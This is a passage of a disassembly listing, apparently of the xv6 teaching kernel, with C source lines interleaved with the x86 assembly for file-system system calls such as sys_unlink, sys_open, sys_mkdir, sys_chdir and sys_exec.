80105071: c3 ret
80105072: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
iunlockput(dp);
80105078: 83 ec 0c sub $0xc,%esp
8010507b: 56 push %esi
8010507c: e8 9f cb ff ff call 80101c20 <iunlockput>
goto bad;
80105081: 83 c4 10 add $0x10,%esp
ilock(ip);
80105084: 83 ec 0c sub $0xc,%esp
80105087: 53 push %ebx
80105088: e8 03 c9 ff ff call 80101990 <ilock>
ip->nlink--;
8010508d: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80105092: 89 1c 24 mov %ebx,(%esp)
80105095: e8 46 c8 ff ff call 801018e0 <iupdate>
iunlockput(ip);
8010509a: 89 1c 24 mov %ebx,(%esp)
8010509d: e8 7e cb ff ff call 80101c20 <iunlockput>
end_op();
801050a2: e8 79 de ff ff call 80102f20 <end_op>
return -1;
801050a7: 83 c4 10 add $0x10,%esp
}
801050aa: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
801050ad: b8 ff ff ff ff mov $0xffffffff,%eax
}
801050b2: 5b pop %ebx
801050b3: 5e pop %esi
801050b4: 5f pop %edi
801050b5: 5d pop %ebp
801050b6: c3 ret
iunlockput(ip);
801050b7: 83 ec 0c sub $0xc,%esp
801050ba: 53 push %ebx
801050bb: e8 60 cb ff ff call 80101c20 <iunlockput>
end_op();
801050c0: e8 5b de ff ff call 80102f20 <end_op>
return -1;
801050c5: 83 c4 10 add $0x10,%esp
801050c8: b8 ff ff ff ff mov $0xffffffff,%eax
801050cd: eb 9b jmp 8010506a <sys_link+0xda>
end_op();
801050cf: e8 4c de ff ff call 80102f20 <end_op>
return -1;
801050d4: b8 ff ff ff ff mov $0xffffffff,%eax
801050d9: eb 8f jmp 8010506a <sys_link+0xda>
801050db: 90 nop
801050dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801050e0 <sys_unlink>:
{
801050e0: 55 push %ebp
801050e1: 89 e5 mov %esp,%ebp
801050e3: 57 push %edi
801050e4: 56 push %esi
801050e5: 53 push %ebx
if(argstr(0, &path) < 0)
801050e6: 8d 45 c0 lea -0x40(%ebp),%eax
{
801050e9: 83 ec 44 sub $0x44,%esp
if(argstr(0, &path) < 0)
801050ec: 50 push %eax
801050ed: 6a 00 push $0x0
801050ef: e8 1c fa ff ff call 80104b10 <argstr>
801050f4: 83 c4 10 add $0x10,%esp
801050f7: 85 c0 test %eax,%eax
801050f9: 0f 88 77 01 00 00 js 80105276 <sys_unlink+0x196>
if((dp = nameiparent(path, name)) == 0){
801050ff: 8d 5d ca lea -0x36(%ebp),%ebx
begin_op();
80105102: e8 a9 dd ff ff call 80102eb0 <begin_op>
if((dp = nameiparent(path, name)) == 0){
80105107: 83 ec 08 sub $0x8,%esp
8010510a: 53 push %ebx
8010510b: ff 75 c0 pushl -0x40(%ebp)
8010510e: e8 fd d0 ff ff call 80102210 <nameiparent>
80105113: 83 c4 10 add $0x10,%esp
80105116: 85 c0 test %eax,%eax
80105118: 89 c6 mov %eax,%esi
8010511a: 0f 84 60 01 00 00 je 80105280 <sys_unlink+0x1a0>
ilock(dp);
80105120: 83 ec 0c sub $0xc,%esp
80105123: 50 push %eax
80105124: e8 67 c8 ff ff call 80101990 <ilock>
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80105129: 58 pop %eax
8010512a: 5a pop %edx
8010512b: 68 14 79 10 80 push $0x80107914
80105130: 53 push %ebx
80105131: e8 6a cd ff ff call 80101ea0 <namecmp>
80105136: 83 c4 10 add $0x10,%esp
80105139: 85 c0 test %eax,%eax
8010513b: 0f 84 03 01 00 00 je 80105244 <sys_unlink+0x164>
80105141: 83 ec 08 sub $0x8,%esp
80105144: 68 13 79 10 80 push $0x80107913
80105149: 53 push %ebx
8010514a: e8 51 cd ff ff call 80101ea0 <namecmp>
8010514f: 83 c4 10 add $0x10,%esp
80105152: 85 c0 test %eax,%eax
80105154: 0f 84 ea 00 00 00 je 80105244 <sys_unlink+0x164>
if((ip = dirlookup(dp, name, &off)) == 0)
8010515a: 8d 45 c4 lea -0x3c(%ebp),%eax
8010515d: 83 ec 04 sub $0x4,%esp
80105160: 50 push %eax
80105161: 53 push %ebx
80105162: 56 push %esi
80105163: e8 58 cd ff ff call 80101ec0 <dirlookup>
80105168: 83 c4 10 add $0x10,%esp
8010516b: 85 c0 test %eax,%eax
8010516d: 89 c3 mov %eax,%ebx
8010516f: 0f 84 cf 00 00 00 je 80105244 <sys_unlink+0x164>
ilock(ip);
80105175: 83 ec 0c sub $0xc,%esp
80105178: 50 push %eax
80105179: e8 12 c8 ff ff call 80101990 <ilock>
if(ip->nlink < 1)
8010517e: 83 c4 10 add $0x10,%esp
80105181: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
80105186: 0f 8e 10 01 00 00 jle 8010529c <sys_unlink+0x1bc>
if(ip->type == T_DIR && !isdirempty(ip)){
8010518c: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80105191: 74 6d je 80105200 <sys_unlink+0x120>
memset(&de, 0, sizeof(de));
80105193: 8d 45 d8 lea -0x28(%ebp),%eax
80105196: 83 ec 04 sub $0x4,%esp
80105199: 6a 10 push $0x10
8010519b: 6a 00 push $0x0
8010519d: 50 push %eax
8010519e: e8 bd f5 ff ff call 80104760 <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
801051a3: 8d 45 d8 lea -0x28(%ebp),%eax
801051a6: 6a 10 push $0x10
801051a8: ff 75 c4 pushl -0x3c(%ebp)
801051ab: 50 push %eax
801051ac: 56 push %esi
801051ad: e8 be cb ff ff call 80101d70 <writei>
801051b2: 83 c4 20 add $0x20,%esp
801051b5: 83 f8 10 cmp $0x10,%eax
801051b8: 0f 85 eb 00 00 00 jne 801052a9 <sys_unlink+0x1c9>
if(ip->type == T_DIR){
801051be: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
801051c3: 0f 84 97 00 00 00 je 80105260 <sys_unlink+0x180>
iunlockput(dp);
801051c9: 83 ec 0c sub $0xc,%esp
801051cc: 56 push %esi
801051cd: e8 4e ca ff ff call 80101c20 <iunlockput>
ip->nlink--;
801051d2: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
801051d7: 89 1c 24 mov %ebx,(%esp)
801051da: e8 01 c7 ff ff call 801018e0 <iupdate>
iunlockput(ip);
801051df: 89 1c 24 mov %ebx,(%esp)
801051e2: e8 39 ca ff ff call 80101c20 <iunlockput>
end_op();
801051e7: e8 34 dd ff ff call 80102f20 <end_op>
return 0;
801051ec: 83 c4 10 add $0x10,%esp
801051ef: 31 c0 xor %eax,%eax
}
801051f1: 8d 65 f4 lea -0xc(%ebp),%esp
801051f4: 5b pop %ebx
801051f5: 5e pop %esi
801051f6: 5f pop %edi
801051f7: 5d pop %ebp
801051f8: c3 ret
801051f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105200: 83 7b 58 20 cmpl $0x20,0x58(%ebx)
80105204: 76 8d jbe 80105193 <sys_unlink+0xb3>
80105206: bf 20 00 00 00 mov $0x20,%edi
8010520b: eb 0f jmp 8010521c <sys_unlink+0x13c>
8010520d: 8d 76 00 lea 0x0(%esi),%esi
80105210: 83 c7 10 add $0x10,%edi
80105213: 3b 7b 58 cmp 0x58(%ebx),%edi
80105216: 0f 83 77 ff ff ff jae 80105193 <sys_unlink+0xb3>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
8010521c: 8d 45 d8 lea -0x28(%ebp),%eax
8010521f: 6a 10 push $0x10
80105221: 57 push %edi
80105222: 50 push %eax
80105223: 53 push %ebx
80105224: e8 47 ca ff ff call 80101c70 <readi>
80105229: 83 c4 10 add $0x10,%esp
8010522c: 83 f8 10 cmp $0x10,%eax
8010522f: 75 5e jne 8010528f <sys_unlink+0x1af>
if(de.inum != 0)
80105231: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80105236: 74 d8 je 80105210 <sys_unlink+0x130>
iunlockput(ip);
80105238: 83 ec 0c sub $0xc,%esp
8010523b: 53 push %ebx
8010523c: e8 df c9 ff ff call 80101c20 <iunlockput>
goto bad;
80105241: 83 c4 10 add $0x10,%esp
iunlockput(dp);
80105244: 83 ec 0c sub $0xc,%esp
80105247: 56 push %esi
80105248: e8 d3 c9 ff ff call 80101c20 <iunlockput>
end_op();
8010524d: e8 ce dc ff ff call 80102f20 <end_op>
return -1;
80105252: 83 c4 10 add $0x10,%esp
80105255: b8 ff ff ff ff mov $0xffffffff,%eax
8010525a: eb 95 jmp 801051f1 <sys_unlink+0x111>
8010525c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
dp->nlink--;
80105260: 66 83 6e 56 01 subw $0x1,0x56(%esi)
iupdate(dp);
80105265: 83 ec 0c sub $0xc,%esp
80105268: 56 push %esi
80105269: e8 72 c6 ff ff call 801018e0 <iupdate>
8010526e: 83 c4 10 add $0x10,%esp
80105271: e9 53 ff ff ff jmp 801051c9 <sys_unlink+0xe9>
return -1;
80105276: b8 ff ff ff ff mov $0xffffffff,%eax
8010527b: e9 71 ff ff ff jmp 801051f1 <sys_unlink+0x111>
end_op();
80105280: e8 9b dc ff ff call 80102f20 <end_op>
return -1;
80105285: b8 ff ff ff ff mov $0xffffffff,%eax
8010528a: e9 62 ff ff ff jmp 801051f1 <sys_unlink+0x111>
panic("isdirempty: readi");
8010528f: 83 ec 0c sub $0xc,%esp
80105292: 68 38 79 10 80 push $0x80107938
80105297: e8 f4 b0 ff ff call 80100390 <panic>
panic("unlink: nlink < 1");
8010529c: 83 ec 0c sub $0xc,%esp
8010529f: 68 26 79 10 80 push $0x80107926
801052a4: e8 e7 b0 ff ff call 80100390 <panic>
panic("unlink: writei");
801052a9: 83 ec 0c sub $0xc,%esp
801052ac: 68 4a 79 10 80 push $0x8010794a
801052b1: e8 da b0 ff ff call 80100390 <panic>
801052b6: 8d 76 00 lea 0x0(%esi),%esi
801052b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801052c0 <sys_open>:
int
sys_open(void)
{
801052c0: 55 push %ebp
801052c1: 89 e5 mov %esp,%ebp
801052c3: 57 push %edi
801052c4: 56 push %esi
801052c5: 53 push %ebx
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
801052c6: 8d 45 e0 lea -0x20(%ebp),%eax
{
801052c9: 83 ec 24 sub $0x24,%esp
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
801052cc: 50 push %eax
801052cd: 6a 00 push $0x0
801052cf: e8 3c f8 ff ff call 80104b10 <argstr>
801052d4: 83 c4 10 add $0x10,%esp
801052d7: 85 c0 test %eax,%eax
801052d9: 0f 88 1d 01 00 00 js 801053fc <sys_open+0x13c>
801052df: 8d 45 e4 lea -0x1c(%ebp),%eax
801052e2: 83 ec 08 sub $0x8,%esp
801052e5: 50 push %eax
801052e6: 6a 01 push $0x1
801052e8: e8 73 f7 ff ff call 80104a60 <argint>
801052ed: 83 c4 10 add $0x10,%esp
801052f0: 85 c0 test %eax,%eax
801052f2: 0f 88 04 01 00 00 js 801053fc <sys_open+0x13c>
return -1;
begin_op();
801052f8: e8 b3 db ff ff call 80102eb0 <begin_op>
if(omode & O_CREATE){
801052fd: f6 45 e5 02 testb $0x2,-0x1b(%ebp)
80105301: 0f 85 a9 00 00 00 jne 801053b0 <sys_open+0xf0>
if(ip == 0){
end_op();
return -1;
}
} else {
if((ip = namei(path)) == 0){
80105307: 83 ec 0c sub $0xc,%esp
8010530a: ff 75 e0 pushl -0x20(%ebp)
8010530d: e8 de ce ff ff call 801021f0 <namei>
80105312: 83 c4 10 add $0x10,%esp
80105315: 85 c0 test %eax,%eax
80105317: 89 c6 mov %eax,%esi
80105319: 0f 84 b2 00 00 00 je 801053d1 <sys_open+0x111>
end_op();
return -1;
}
ilock(ip);
8010531f: 83 ec 0c sub $0xc,%esp
80105322: 50 push %eax
80105323: e8 68 c6 ff ff call 80101990 <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80105328: 83 c4 10 add $0x10,%esp
8010532b: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80105330: 0f 84 aa 00 00 00 je 801053e0 <sys_open+0x120>
end_op();
return -1;
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80105336: e8 45 bd ff ff call 80101080 <filealloc>
8010533b: 85 c0 test %eax,%eax
8010533d: 89 c7 mov %eax,%edi
8010533f: 0f 84 a6 00 00 00 je 801053eb <sys_open+0x12b>
struct proc *curproc = myproc();
80105345: e8 a6 e7 ff ff call 80103af0 <myproc>
for(fd = 0; fd < NOFILE; fd++){
8010534a: 31 db xor %ebx,%ebx
8010534c: eb 0e jmp 8010535c <sys_open+0x9c>
8010534e: 66 90 xchg %ax,%ax
80105350: 83 c3 01 add $0x1,%ebx
80105353: 83 fb 10 cmp $0x10,%ebx
80105356: 0f 84 ac 00 00 00 je 80105408 <sys_open+0x148>
if(curproc->ofile[fd] == 0){
8010535c: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx
80105360: 85 d2 test %edx,%edx
80105362: 75 ec jne 80105350 <sys_open+0x90>
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80105364: 83 ec 0c sub $0xc,%esp
curproc->ofile[fd] = f;
80105367: 89 7c 98 28 mov %edi,0x28(%eax,%ebx,4)
iunlock(ip);
8010536b: 56 push %esi
8010536c: e8 ff c6 ff ff call 80101a70 <iunlock>
end_op();
80105371: e8 aa db ff ff call 80102f20 <end_op>
f->type = FD_INODE;
80105376: c7 07 02 00 00 00 movl $0x2,(%edi)
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
8010537c: 8b 55 e4 mov -0x1c(%ebp),%edx
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
8010537f: 83 c4 10 add $0x10,%esp
f->ip = ip;
80105382: 89 77 10 mov %esi,0x10(%edi)
f->off = 0;
80105385: c7 47 14 00 00 00 00 movl $0x0,0x14(%edi)
f->readable = !(omode & O_WRONLY);
8010538c: 89 d0 mov %edx,%eax
8010538e: f7 d0 not %eax
80105390: 83 e0 01 and $0x1,%eax
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80105393: 83 e2 03 and $0x3,%edx
f->readable = !(omode & O_WRONLY);
80105396: 88 47 08 mov %al,0x8(%edi)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80105399: 0f 95 47 09 setne 0x9(%edi)
return fd;
}
8010539d: 8d 65 f4 lea -0xc(%ebp),%esp
801053a0: 89 d8 mov %ebx,%eax
801053a2: 5b pop %ebx
801053a3: 5e pop %esi
801053a4: 5f pop %edi
801053a5: 5d pop %ebp
801053a6: c3 ret
801053a7: 89 f6 mov %esi,%esi
801053a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
ip = create(path, T_FILE, 0, 0);
801053b0: 83 ec 0c sub $0xc,%esp
801053b3: 8b 45 e0 mov -0x20(%ebp),%eax
801053b6: 31 c9 xor %ecx,%ecx
801053b8: 6a 00 push $0x0
801053ba: ba 02 00 00 00 mov $0x2,%edx
801053bf: e8 ec f7 ff ff call 80104bb0 <create>
if(ip == 0){
801053c4: 83 c4 10 add $0x10,%esp
801053c7: 85 c0 test %eax,%eax
ip = create(path, T_FILE, 0, 0);
801053c9: 89 c6 mov %eax,%esi
if(ip == 0){
801053cb: 0f 85 65 ff ff ff jne 80105336 <sys_open+0x76>
end_op();
801053d1: e8 4a db ff ff call 80102f20 <end_op>
return -1;
801053d6: bb ff ff ff ff mov $0xffffffff,%ebx
801053db: eb c0 jmp 8010539d <sys_open+0xdd>
801053dd: 8d 76 00 lea 0x0(%esi),%esi
if(ip->type == T_DIR && omode != O_RDONLY){
801053e0: 8b 4d e4 mov -0x1c(%ebp),%ecx
801053e3: 85 c9 test %ecx,%ecx
801053e5: 0f 84 4b ff ff ff je 80105336 <sys_open+0x76>
iunlockput(ip);
801053eb: 83 ec 0c sub $0xc,%esp
801053ee: 56 push %esi
801053ef: e8 2c c8 ff ff call 80101c20 <iunlockput>
end_op();
801053f4: e8 27 db ff ff call 80102f20 <end_op>
return -1;
801053f9: 83 c4 10 add $0x10,%esp
801053fc: bb ff ff ff ff mov $0xffffffff,%ebx
80105401: eb 9a jmp 8010539d <sys_open+0xdd>
80105403: 90 nop
80105404: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
fileclose(f);
80105408: 83 ec 0c sub $0xc,%esp
8010540b: 57 push %edi
8010540c: e8 2f bd ff ff call 80101140 <fileclose>
80105411: 83 c4 10 add $0x10,%esp
80105414: eb d5 jmp 801053eb <sys_open+0x12b>
80105416: 8d 76 00 lea 0x0(%esi),%esi
80105419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105420 <sys_mkdir>:
int
sys_mkdir(void)
{
80105420: 55 push %ebp
80105421: 89 e5 mov %esp,%ebp
80105423: 83 ec 18 sub $0x18,%esp
char *path;
struct inode *ip;
begin_op();
80105426: e8 85 da ff ff call 80102eb0 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
8010542b: 8d 45 f4 lea -0xc(%ebp),%eax
8010542e: 83 ec 08 sub $0x8,%esp
80105431: 50 push %eax
80105432: 6a 00 push $0x0
80105434: e8 d7 f6 ff ff call 80104b10 <argstr>
80105439: 83 c4 10 add $0x10,%esp
8010543c: 85 c0 test %eax,%eax
8010543e: 78 30 js 80105470 <sys_mkdir+0x50>
80105440: 83 ec 0c sub $0xc,%esp
80105443: 8b 45 f4 mov -0xc(%ebp),%eax
80105446: 31 c9 xor %ecx,%ecx
80105448: 6a 00 push $0x0
8010544a: ba 01 00 00 00 mov $0x1,%edx
8010544f: e8 5c f7 ff ff call 80104bb0 <create>
80105454: 83 c4 10 add $0x10,%esp
80105457: 85 c0 test %eax,%eax
80105459: 74 15 je 80105470 <sys_mkdir+0x50>
end_op();
return -1;
}
iunlockput(ip);
8010545b: 83 ec 0c sub $0xc,%esp
8010545e: 50 push %eax
8010545f: e8 bc c7 ff ff call 80101c20 <iunlockput>
end_op();
80105464: e8 b7 da ff ff call 80102f20 <end_op>
return 0;
80105469: 83 c4 10 add $0x10,%esp
8010546c: 31 c0 xor %eax,%eax
}
8010546e: c9 leave
8010546f: c3 ret
end_op();
80105470: e8 ab da ff ff call 80102f20 <end_op>
return -1;
80105475: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010547a: c9 leave
8010547b: c3 ret
8010547c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105480 <sys_mknod>:
int
sys_mknod(void)
{
80105480: 55 push %ebp
80105481: 89 e5 mov %esp,%ebp
80105483: 83 ec 18 sub $0x18,%esp
struct inode *ip;
char *path;
int major, minor;
begin_op();
80105486: e8 25 da ff ff call 80102eb0 <begin_op>
if((argstr(0, &path)) < 0 ||
8010548b: 8d 45 ec lea -0x14(%ebp),%eax
8010548e: 83 ec 08 sub $0x8,%esp
80105491: 50 push %eax
80105492: 6a 00 push $0x0
80105494: e8 77 f6 ff ff call 80104b10 <argstr>
80105499: 83 c4 10 add $0x10,%esp
8010549c: 85 c0 test %eax,%eax
8010549e: 78 60 js 80105500 <sys_mknod+0x80>
argint(1, &major) < 0 ||
801054a0: 8d 45 f0 lea -0x10(%ebp),%eax
801054a3: 83 ec 08 sub $0x8,%esp
801054a6: 50 push %eax
801054a7: 6a 01 push $0x1
801054a9: e8 b2 f5 ff ff call 80104a60 <argint>
if((argstr(0, &path)) < 0 ||
801054ae: 83 c4 10 add $0x10,%esp
801054b1: 85 c0 test %eax,%eax
801054b3: 78 4b js 80105500 <sys_mknod+0x80>
argint(2, &minor) < 0 ||
801054b5: 8d 45 f4 lea -0xc(%ebp),%eax
801054b8: 83 ec 08 sub $0x8,%esp
801054bb: 50 push %eax
801054bc: 6a 02 push $0x2
801054be: e8 9d f5 ff ff call 80104a60 <argint>
argint(1, &major) < 0 ||
801054c3: 83 c4 10 add $0x10,%esp
801054c6: 85 c0 test %eax,%eax
801054c8: 78 36 js 80105500 <sys_mknod+0x80>
(ip = create(path, T_DEV, major, minor)) == 0){
801054ca: 0f bf 45 f4 movswl -0xc(%ebp),%eax
argint(2, &minor) < 0 ||
801054ce: 83 ec 0c sub $0xc,%esp
(ip = create(path, T_DEV, major, minor)) == 0){
801054d1: 0f bf 4d f0 movswl -0x10(%ebp),%ecx
argint(2, &minor) < 0 ||
801054d5: ba 03 00 00 00 mov $0x3,%edx
801054da: 50 push %eax
801054db: 8b 45 ec mov -0x14(%ebp),%eax
801054de: e8 cd f6 ff ff call 80104bb0 <create>
801054e3: 83 c4 10 add $0x10,%esp
801054e6: 85 c0 test %eax,%eax
801054e8: 74 16 je 80105500 <sys_mknod+0x80>
end_op();
return -1;
}
iunlockput(ip);
801054ea: 83 ec 0c sub $0xc,%esp
801054ed: 50 push %eax
801054ee: e8 2d c7 ff ff call 80101c20 <iunlockput>
end_op();
801054f3: e8 28 da ff ff call 80102f20 <end_op>
return 0;
801054f8: 83 c4 10 add $0x10,%esp
801054fb: 31 c0 xor %eax,%eax
}
801054fd: c9 leave
801054fe: c3 ret
801054ff: 90 nop
end_op();
80105500: e8 1b da ff ff call 80102f20 <end_op>
return -1;
80105505: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010550a: c9 leave
8010550b: c3 ret
8010550c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105510 <sys_chdir>:
int
sys_chdir(void)
{
80105510: 55 push %ebp
80105511: 89 e5 mov %esp,%ebp
80105513: 56 push %esi
80105514: 53 push %ebx
80105515: 83 ec 10 sub $0x10,%esp
char *path;
struct inode *ip;
struct proc *curproc = myproc();
80105518: e8 d3 e5 ff ff call 80103af0 <myproc>
8010551d: 89 c6 mov %eax,%esi
begin_op();
8010551f: e8 8c d9 ff ff call 80102eb0 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80105524: 8d 45 f4 lea -0xc(%ebp),%eax
80105527: 83 ec 08 sub $0x8,%esp
8010552a: 50 push %eax
8010552b: 6a 00 push $0x0
8010552d: e8 de f5 ff ff call 80104b10 <argstr>
80105532: 83 c4 10 add $0x10,%esp
80105535: 85 c0 test %eax,%eax
80105537: 78 77 js 801055b0 <sys_chdir+0xa0>
80105539: 83 ec 0c sub $0xc,%esp
8010553c: ff 75 f4 pushl -0xc(%ebp)
8010553f: e8 ac cc ff ff call 801021f0 <namei>
80105544: 83 c4 10 add $0x10,%esp
80105547: 85 c0 test %eax,%eax
80105549: 89 c3 mov %eax,%ebx
8010554b: 74 63 je 801055b0 <sys_chdir+0xa0>
end_op();
return -1;
}
ilock(ip);
8010554d: 83 ec 0c sub $0xc,%esp
80105550: 50 push %eax
80105551: e8 3a c4 ff ff call 80101990 <ilock>
if(ip->type != T_DIR){
80105556: 83 c4 10 add $0x10,%esp
80105559: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
8010555e: 75 30 jne 80105590 <sys_chdir+0x80>
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80105560: 83 ec 0c sub $0xc,%esp
80105563: 53 push %ebx
80105564: e8 07 c5 ff ff call 80101a70 <iunlock>
iput(curproc->cwd);
80105569: 58 pop %eax
8010556a: ff 76 68 pushl 0x68(%esi)
8010556d: e8 4e c5 ff ff call 80101ac0 <iput>
end_op();
80105572: e8 a9 d9 ff ff call 80102f20 <end_op>
curproc->cwd = ip;
80105577: 89 5e 68 mov %ebx,0x68(%esi)
return 0;
8010557a: 83 c4 10 add $0x10,%esp
8010557d: 31 c0 xor %eax,%eax
}
8010557f: 8d 65 f8 lea -0x8(%ebp),%esp
80105582: 5b pop %ebx
80105583: 5e pop %esi
80105584: 5d pop %ebp
80105585: c3 ret
80105586: 8d 76 00 lea 0x0(%esi),%esi
80105589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
iunlockput(ip);
80105590: 83 ec 0c sub $0xc,%esp
80105593: 53 push %ebx
80105594: e8 87 c6 ff ff call 80101c20 <iunlockput>
end_op();
80105599: e8 82 d9 ff ff call 80102f20 <end_op>
return -1;
8010559e: 83 c4 10 add $0x10,%esp
801055a1: b8 ff ff ff ff mov $0xffffffff,%eax
801055a6: eb d7 jmp 8010557f <sys_chdir+0x6f>
801055a8: 90 nop
801055a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
end_op();
801055b0: e8 6b d9 ff ff call 80102f20 <end_op>
return -1;
801055b5: b8 ff ff ff ff mov $0xffffffff,%eax
801055ba: eb c3 jmp 8010557f <sys_chdir+0x6f>
801055bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801055c0 <sys_exec>:
int
sys_exec(void)
{
801055c0: 55 push %ebp
801055c1: 89 e5 mov %esp,%ebp
801055c3: 57 push %edi
801055c4: 56 push %esi
801055c5: 53 push %ebx
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
801055c6: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax
{
801055cc: 81 ec a4 00 00 00 sub $0xa4,%esp
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
801055d2: 50 push %eax
801055d3: 6a 00 push $0x0
801055d5: e8 36 f5 ff ff call 80104b10 <argstr>
801055da: 83 c4 10 add $0x10,%esp
801055dd: 85 c0 test %eax,%eax
801055df: 0f 88 87 00 00 00 js 8010566c <sys_exec+0xac>
801055e5: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax
801055eb: 83 ec 08 sub $0x8,%esp
801055ee: 50 push %eax
801055ef: 6a 01 push $0x1
801055f1: e8 6a f4 ff ff call 80104a60 <argint>
801055f6: 83 c4 10 add $0x10,%esp
801055f9: 85 c0 test %eax,%eax
801055fb: 78 6f js 8010566c <sys_exec+0xac>
return -1;
}
memset(argv, 0, sizeof(argv));
801055fd: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
80105603: 83 ec 04 sub $0x4,%esp
for(i=0;; i++){
80105606: 31 db xor %ebx,%ebx
memset(argv, 0, sizeof(argv));
80105608: 68 80 00 00 00 push $0x80
8010560d: 6a 00 push $0x0
8010560f: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi
80105615: 50 push %eax
80105616: e8 45 f1 ff ff call 80104760 <memset>
8010561b: 83 c4 10 add $0x10,%esp
8010561e: eb 2c jmp 8010564c <sys_exec+0x8c>
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
return -1;
if(uarg == 0){
80105620: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax
80105626: 85 c0 test %eax,%eax
80105628: 74 56 je 80105680 <sys_exec+0xc0>
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
8010562a: 8d 8d 68 ff ff ff lea -0x98(%ebp),%ecx
80105630: 83 ec 08 sub $0x8,%esp
80105633: 8d 14 31 lea (%ecx,%esi,1),%edx
80105636: 52 push %edx
80105637: 50 push %eax
80105638: e8 b3 f3 ff ff call 801049f0 <fetchstr>
8010563d: 83 c4 10 add $0x10,%esp
80105640: 85 c0 test %eax,%eax
80105642: 78 28 js 8010566c <sys_exec+0xac>
for(i=0;; i++){
80105644: 83 c3 01 add $0x1,%ebx
if(i >= NELEM(argv))
80105647: 83 fb 20 cmp $0x20,%ebx
8010564a: 74 20 je 8010566c <sys_exec+0xac>
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
8010564c: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax
80105652: 8d 34 9d 00 00 00 00 lea 0x0(,%ebx,4),%esi
80105659: 83 ec 08 sub $0x8,%esp
8010565c: 57 push %edi
8010565d: 01 f0 add %esi,%eax
8010565f: 50 push %eax
80105660: e8 4b f3 ff ff call 801049b0 <fetchint>
80105665: 83 c4 10 add $0x10,%esp
80105668: 85 c0 test %eax,%eax
8010566a: 79 b4 jns 80105620 <sys_exec+0x60>
return -1;
}
return exec(path, argv);
}
8010566c: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
8010566f: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105674: 5b pop %ebx
80105675: 5e pop %esi
80105676: 5f pop %edi
80105677: 5d pop %ebp
80105678: c3 ret
80105679: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return exec(path, argv);
80105680: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
80105686: 83 ec 08 sub $0x8,%esp
argv[i] = 0;
80105689: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4)
80105690: 00 00 00 00
return exec(path, argv);
80105694: 50 push %eax
80105695: ff b5 5c ff ff ff pushl -0xa4(%ebp)
8010569b: e8 70 b6 ff ff call 80100d10 <exec>
801056a0: 83 c4 10 add $0x10,%esp
}
801056a3: 8d 65 f4 lea -0xc(%ebp),%esp
801056a6: 5b pop %ebx
801056a7: 5e pop %esi
801056a8: 5f pop %edi
801056a9: 5d pop %ebp
801056aa: c3 ret
801056ab: 90 nop
801056ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801056b0 <sys_pipe>:
int
sys_pipe(void)
{
801056b0: 55 push %ebp
801056b1: 89 e5 mov %esp,%ebp
801056b3: 57 push %edi
801056b4: 56 push %esi
801056b5: 53 push %ebx
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801056b6: 8d 45 dc lea -0x24(%ebp),%eax
{
